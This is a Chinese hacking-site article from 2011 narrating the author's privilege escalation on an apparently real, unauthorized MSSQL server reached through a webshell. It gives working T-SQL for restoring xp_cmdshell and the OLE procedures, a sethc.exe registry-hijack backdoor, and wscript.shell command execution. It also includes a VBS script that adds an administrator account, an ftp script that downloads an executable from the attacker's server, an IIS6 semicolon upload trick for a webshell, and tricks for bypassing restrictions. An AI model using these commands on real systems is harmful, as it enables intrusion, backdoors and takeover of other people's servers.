首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>入侵实例>文章内容
对某一NX服务器的MSSQL渗透提权
来源:vfocus.net 作者:音符 发布时间:2011-02-14  

今天下午,貌似没有什么事情看到有朋友在问一个网站的拿shell问题就进去帮帮忙最后拿下了webshell,贪心是我一贯的风格,拿到shell之后就想到了提权,然后服务器上某个目录翻到了mssql连接文件,于是有了这个文章(虽然与原来的网站服务器不是同一台,但是本来就是随便玩玩的),如果不是我技术太烂的话拿真的是很NX防护服务器。

  OK话不多说了,进入主题。

  本来以为很简单直接用工具连接了,随便执行一个whoami命令就出了问题。如图


 Error Message:xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行) 这个是老对手了,拿出sql查询分析器

这个时候我不知道大家是怎样对付的,但是我一般是添加shift后门了。

有人会问难道是什么copy什么到sethc?

no那太没有难度了,而且怎么执行呢,我的方法是加一个映像劫持。

代码如下


--------------------------------------------------------------------------------
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as
set implicit_transactions off
if @@trancount > 0  
begin
raiserror(15002,-1,-1,'sp_addextendedproc')  
return (1)  
end
dbcc addextendedproc( @functname, @dllname)  
return (0) -- sp_addextendedproc
GO
use master  
exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'  
exec sp_addextendedproc xp_dirtree,'xpstar.dll'  
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'  
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'  
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'  
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'  
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'  
exec sp_addextendedproc sp_OACreate,'odsole70.dll'  
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'  
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'  
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'  
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'  
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'  
exec sp_addextendedproc sp_OAStop,'odsole70.dll'  
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'  
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'  
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'  
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'  
exec sp_addextendedproc xp_regread,'xpstar.dll'  
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'  
exec sp_addextendedproc xp_regwrite,'xpstar.dll'  
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
--------------------------------------------------------------------------------
//先讲所有的存储过程都恢复一遍省得麻烦
然后执行
--------------------------------------------------------------------------------
xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe',
'Debugger','REG_SZ','C:\WINDOWS\system32\taskmgr.exe'

--------------------------------------------------------------------------------
这句代码的意思的将sethc劫持为任务管理器,结果如图

然后我们可以用这句代码查查有没有劫持成功exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'结果如图


  

劫持成功

原来以为这次渗透就此结束没想到远程登录之后麻烦不断。

别说敲5下shift了 500下都敲了硬是什么都没有,然后我以为是taskgmr被设置了权限又换了explorer跟cmd发现都不行,这样的结果要吗是都被设置了权限要吗是sethc被设置了权限,那只能另寻他路了。

我想到既然错误是Error Message:xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行)

那么也就是说cmd被删除了或者cmd被限制了权限

我利用工具查了一下cmd存在也就是说被限制了权限,那么我们怎么突破呢?

我的方法是利用sp_oacreate跟sp_oamethod这两个存储过程。

用sp_oacreate执行cmd可以定义cmd路径但是不能看到回显,其实我们只要在命令后面加个>x.txt这样就可以读文件看到回显了。然后我先是执行了


--------------------------------------------------------------------------------
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\command.com /c whoami >c:\1.txt'
--------------------------------------------------------------------------------
这个命令然后去c:\1.txt查看确定是system权限没有被降权

然后我又执行了

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\command.com /c net user >c:\1.txt'


这个时候1.txt就不能读取了,想来是net权限禁止了

后来还发现net1被删除了。

我似乎又一次陷入绝境

然后我就想到了写文件执行然后ftp下载一个net1到服务器上

于是利用了命令写文件


--------------------------------------------------------------------------------
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","test")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "1234"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo '
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/test",user) '
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
--------------------------------------------------------------------------------
汗,这个是VBS无net提权命令,我不想再慢慢写了。。忙
改的地方就是写入的内容跟存放的位置了

我写在c:\2.txt

内容为

open xxx

name

pass

get x.exe

bye

然后就是执行

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\command.com /c ftp -s c:\2.txt'


(可能有写错,我忘记了,大家百度下)

然后观察自己服务器上ftp server日志没有登录

看来ftp也被限制了

一计不成又生一计

我自认为(以下是小弟的猜想了,大家看看不对就指出吧)

 

--------------------------------------------------------------------------------
我们建立的账户在注册表里面是可以查到的,那么我们一台电脑是否有这个账户应该也是可以通过注册表来查询的

那么我在本地建立了一个账户然后导出这个账户的reg(就像大家平时建立隐藏账户那样,知道我就不浪费口舌了)

然后将这些数据导入到服务器的注册表是不是就说明在服务器上建立了一个账户并且不用利用到net呢?


--------------------------------------------------------------------------------
就这个试了一下,用刚才那个命令写了reg文件后来居然发现管理员管的太严了,reg文件居然不能保存那么我就只好保存成txt文件幸好依旧可以导入,但是成功导入后我用远程登录了一下居然还是不能成功登录进去(无语了,不过YY无罪嘛)

 

2计不成,再生一计

通过查看目录在d:\Program Files\Serv-U\有ser-u安装哦,如图

读取了d:\Program Files\Serv-U\ServUDaemon.ini

发现在E盘下有个用户

我就在本地建立一个ftp,然后将原来的ServUDaemon.ini down下来备份了,然后利用写文件命令将本地的ServUDaemon.ini上传上去,如图


但是在登陆的时候发现根本无法登录,然后执行命令

 

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\command.com /c netstat -an>c:\1.txt'发现端口根本没开

执行

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\command.com /c tasklist'也根本看不到ser-u的程序。

看来ser-u没有运行,我利用命令执行了d:\Program Files\Serv-U\ServUAdmin.exe d:\Program Files\Serv-U\ServUDaemon.exe

再用tasklist查看发现都不能运行。思绪又僵了。

当然,我最后想到了方法(不然也不会写这篇文章了)

我想这个既然是服务器,并且netstat-an查看开了80端口 如图 

 

那么应该是有网站挂在上面的用i.linkhelper.cn/sameip.asp查了一下,发现了一个让我很无语的网站


  

居然是在建设中,但是这个也给我们一个契机——至少网站运行着。

然后我就开始找网站目录了。

一开始找了d:\web e:\web这些目录

里面一大堆网站没有一个是对的

突然想到显示“建设中”这个错误的不是默认目录么

对自己无语了,直接来到c:\Inetpub\wwwroot\找到了网站目录。。

用写文件命令写了一个一句话木马进去,但是这里有个麻烦

不能写asa asp cer cdx这种文件格式,(这就是我说的服务器NX的地方,连什么exe什么都不能搞)

然后我就想到了IIS6.0漏洞于是写了个1.asa;jpg成功写入一句话木马


 

用lake2eval连接成功如图


然后本来想拉个大马上去的却发现根本无法写入,没有权限。

这就无语了,我特地搞了个wwwroot路径就是为了上传大马然后上传ftp net1这样的exe的,居然什么都不能上传,难不成是鸡肋。

最后我想到了对策

聪明的同学们回答

--------------------------------------------------------------------------------
除了全民闷骚的日本人还有谁可以想进就进的?

--------------------------------------------------------------------------------
对,就是webshell常用提权目录那些垃圾箱什么的

我直接用中国菜刀连接上,如图 


然后上传了一个net1.exe,当然是不成功的

于是有了以下猜想

--------------------------------------------------------------------------------
既然cmd.exe我们可以用文件command.com替代

那么例如net1.exe可不可以用net1.com替代呢?

--------------------------------------------------------------------------------
答案是肯定的,net1.com上传成功,并且可以执行

执行命令

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\command.com /c c:\recycler\net1.com user >1.txt' 

结果如图


但是我执行declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod@shell,'run',null,'c:\windows\system32\command.com /c c:\recycler\net1.com user  yinfu$ yinfu>1.txt'却不行了,1.txt无法读取也就是说没有建立用户的权限。

怎么办呢?

聪明的你可以想到,一开始就出来了

那个无net提权vbs脚本 上传cscript.exe改名c.com

然后执行declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\command.com /c c:\recycler\c.com c:\1.vbs>c:\1.txt'

结果如图


 

也就是执行成功

我们远程登录看看 账号test 密码1234 如图


 

成功登陆,渗透完美结束

 

文章作者:、音符\

--------------------------------------------------------------------------------
另外废话几句,可能有人想问了。

为什么不直接写出成功的方法要废话这么多,我想说的是给大家更多交流的机会,可能某个方式在这个服务器不能用但可能下次就可以用大家可以多积累经验吧。

OK 就这样了



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·另类网站入侵之一句话木马图片的
·0day批量拿站webshell,挖掘机是
·利用ewebeditor 5.5 - 6.0 鸡肋
·OmniPeek抓包的一点看法
·强大的嗅探工具ettercap使用教程
·Windows系统密码破解全攻略
·破解禁止SSID广播
·XSS偷取密码Cookies通用脚本
·XSS漏洞基本攻击代码
·Intel 3945ABG用OmniPeek 4.1抓
·KesionCMS V7.0科汛内容网站管理
·破解无线过滤MAC
  相关文章
·记一次艰难的提权
·ECSHOP漏洞入侵成人用品购物网站
·分享shopex后台最新拿shell方法
·ESPCMS 易思企业建站系统 0day
·discuz xss 0day利用方法
·各种渗透,提权的经验和技巧总结
·WebLogic简单抓鸡大法
·一句话下tuo库
·Windows系统密码破解全攻略(hash
·长达1年半的一次艰难渗透
·Exploitation Without A TTY
·ecshop后台获取shell最新方法,
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved